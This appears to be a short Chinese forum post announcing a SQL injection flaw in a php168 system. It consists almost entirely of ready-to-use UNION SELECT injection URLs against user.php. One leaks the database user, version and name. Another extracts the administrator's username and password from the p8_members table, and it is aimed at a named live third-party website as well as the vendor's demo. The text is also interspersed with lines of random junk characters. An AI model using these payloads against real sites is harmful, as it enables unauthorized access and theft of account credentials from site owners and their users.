php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
' D2 @. S  z2 D* W                                                         
( w2 J! \) ?. i, N4 u                                       

: H- Z& g8 j+ ~' {8 ~* m- A# Ghttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
9 g' a# ]3 q" o% p) Y                                                     
* W0 U+ T3 \) v: Z! Y  v/ d                                                                  
7 b9 X' K6 A7 N1 `6 W                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
4 q; R7 S- ]; P3 R


                                                            

& B7 m- d$ |; W: x9 e% \http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--


) t* J7 L  u0 L* \
# C3 }: y& S1 a0 J& i- ^5 Y3 v                                                                    
, @: a: }, G& i) b/ H2 n